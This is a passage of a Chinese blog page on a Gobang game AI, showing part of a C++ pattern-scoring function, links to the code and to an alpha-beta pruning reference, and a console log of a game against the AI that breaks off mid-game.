class="keyword">switch</span> (player_count)</span><br><span class="line">    &#123;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">4</span>: <span class="comment">// 01111 or 11110 or 11101</span></span><br><span class="line">        <span class="keyword">return</span> (pattern[<span class="number">0</span>] == <span class="number">0</span> &amp;&amp; pattern[<span class="number">4</span>] == <span class="number">0</span>) ? <span class="number">5000</span> : <span class="number">500</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line">        <span class="keyword">if</span> (pattern[<span class="number">0</span>] == <span class="number">0</span> &amp;&amp; pattern[<span class="number">4</span>] == <span class="number">0</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="number">500</span>;</span><br><span class="line">        <span class="keyword">else</span> <span class="keyword">if</span> (pattern[<span class="number">0</span>] == <span class="number">0</span> || pattern[<span class="number">4</span>] == <span class="number">0</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="number">100</span>;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">        <span class="keyword">if</span> (pattern[<span class="number">0</span>] == <span class="number">0</span> &amp;&amp; pattern[<span class="number">4</span>] == <span class="number">0</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="number">50</span>;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            <span class="keyword">return</span> <span class="number">10</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">default</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>代码见 <a href="https://github.com/z0z0r4/gobang">z0z0r4/gobang</a></p><p>参考：<a href="https://oi-wiki.org/search/alpha-beta/">OI Wiki Alpha–Beta 剪枝</a></p><details> <summary>这里放一次对局的记录</summary>    <figure class="highlight c++"><table><tr><td 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class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br><span class="line">574</span><br><span class="line">575</span><br><span class="line">576</span><br><span class="line">577</span><br><span class="line">578</span><br><span class="line">579</span><br><span class="line">580</span><br><span class="line">581</span><br><span class="line">582</span><br><span class="line">583</span><br><span class="line">584</span><br><span class="line">585</span><br><span class="line">586</span><br><span class="line">587</span><br><span class="line">588</span><br><span class="line">589</span><br><span class="line">590</span><br><span class="line">591</span><br><span class="line">592</span><br><span class="line">593</span><br><span class="line">594</span><br><span class="line">595</span><br><span class="line">596</span><br><span class="line">597</span><br><span class="line">598</span><br><span class="line">599</span><br><span class="line">600</span><br><span class="line">601</span><br><span class="line">602</span><br><span class="line">603</span><br><span class="line">604</span><br><span class="line">605</span><br><span class="line">606</span><br><span class="line">607</span><br><span class="line">608</span><br><span class="line">609</span><br><span class="line">610</span><br><span class="line">611</span><br><span class="line">612</span><br><span class="line">613</span><br><span class="line">614</span><br><span class="line">615</span><br><span class="line">616</span><br><span class="line">617</span><br><span class="line">618</span><br><span class="line">619</span><br><span class="line">620</span><br><span class="line">621</span><br><span class="line">622</span><br><span class="line">623</span><br><span class="line">624</span><br><span class="line">625</span><br><span class="line">626</span><br><span class="line">627</span><br><span class="line">628</span><br><span class="line">629</span><br><span class="line">630</span><br><span class="line">631</span><br><span class="line">632</span><br><span class="line">633</span><br><span class="line">634</span><br><span class="line">635</span><br><span class="line">636</span><br><span class="line">637</span><br><span class="line">638</span><br><span class="line">639</span><br><span class="line">640</span><br><span class="line">641</span><br><span class="line">642</span><br><span class="line">643</span><br><span class="line">644</span><br><span class="line">645</span><br><span class="line">646</span><br><span class="line">647</span><br><span class="line">648</span><br><span class="line">649</span><br><span class="line">650</span><br><span class="line">651</span><br><span class="line">652</span><br><span class="line">653</span><br><span class="line">654</span><br><span class="line">655</span><br><span class="line">656</span><br><span class="line">657</span><br><span class="line">658</span><br><span class="line">659</span><br><span class="line">660</span><br><span class="line">661</span><br><span class="line">662</span><br><span class="line">663</span><br><span class="line">664</span><br><span class="line">665</span><br><span class="line">666</span><br><span class="line">667</span><br><span class="line">668</span><br><span class="line">669</span><br><span class="line">670</span><br><span class="line">671</span><br><span class="line">672</span><br><span class="line">673</span><br><span class="line">674</span><br><span class="line">675</span><br><span class="line">676</span><br><span class="line">677</span><br><span class="line">678</span><br><span class="line">679</span><br></pre></td><td class="code"><pre><span class="line">Gobang Game Initializing!</span><br><span class="line"><span class="function">Enter save file <span class="title">name</span> <span class="params">(<span class="keyword">or</span> press Enter <span class="keyword">for</span> <span class="keyword">default</span> <span class="string">&#x27;gobang_save.dat&#x27;</span>)</span>:</span></span><br><span class="line"><span class="function">Checking for existing game state file: gobang_save.dat</span></span><br><span class="line"><span class="function">No existing game state file found. Starting a new game.</span></span><br><span class="line"><span class="function">Choose Game Mode:</span></span><br><span class="line"><span class="function"><span class="number">1.</span> Player vs Player</span></span><br><span class="line"><span class="function"><span class="number">2.</span> You (Black) vs AI (White)</span></span><br><span class="line"><span class="function"><span class="number">3.</span> AI (Black) vs You (White)</span></span><br><span class="line"><span class="function"><span class="number">3</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">0</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">AI (Black) is thinking...</span></span><br><span class="line"><span class="function">AI plays at (<span class="number">4</span>, <span class="number">4</span>)</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">1</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  .  B  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">Player White, enter move (x y) or <span class="number">-1</span> <span class="number">-1</span> to undo: <span class="number">5</span></span></span><br><span class="line"><span class="function"><span class="number">5</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">2</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  .  B  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  .  W  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">AI (Black) is thinking...</span></span><br><span class="line"><span class="function">AI plays at (<span class="number">4</span>, <span class="number">5</span>)</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">3</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  .  B  B  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  .  W  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">Player White, enter move (x y) or <span class="number">-1</span> <span class="number">-1</span> to undo: <span class="number">4</span></span></span><br><span class="line"><span class="function"><span class="number">6</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">4</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  .  B  B  W  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  .  W  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">AI (Black) is thinking...</span></span><br><span class="line"><span class="function">AI plays at (<span class="number">5</span>, <span class="number">4</span>)</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">5</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  .  B  B  W  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">Player White, enter move (x y) or <span class="number">-1</span> <span class="number">-1</span> to undo: <span class="number">3</span></span></span><br><span class="line"><span class="function"><span class="number">6</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">6</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  .  .  W  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  .  B  B  W  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">AI (Black) is thinking...</span></span><br><span class="line"><span class="function">AI plays at (<span class="number">3</span>, <span class="number">4</span>)</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">7</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  B  .  W  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  .  B  B  W  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">Player White, enter move (x y) or <span class="number">-1</span> <span class="number">-1</span> to undo: <span class="number">6</span></span></span><br><span class="line"><span class="function"><span class="number">4</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">8</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  B  .  W  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  .  B  B  W  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span 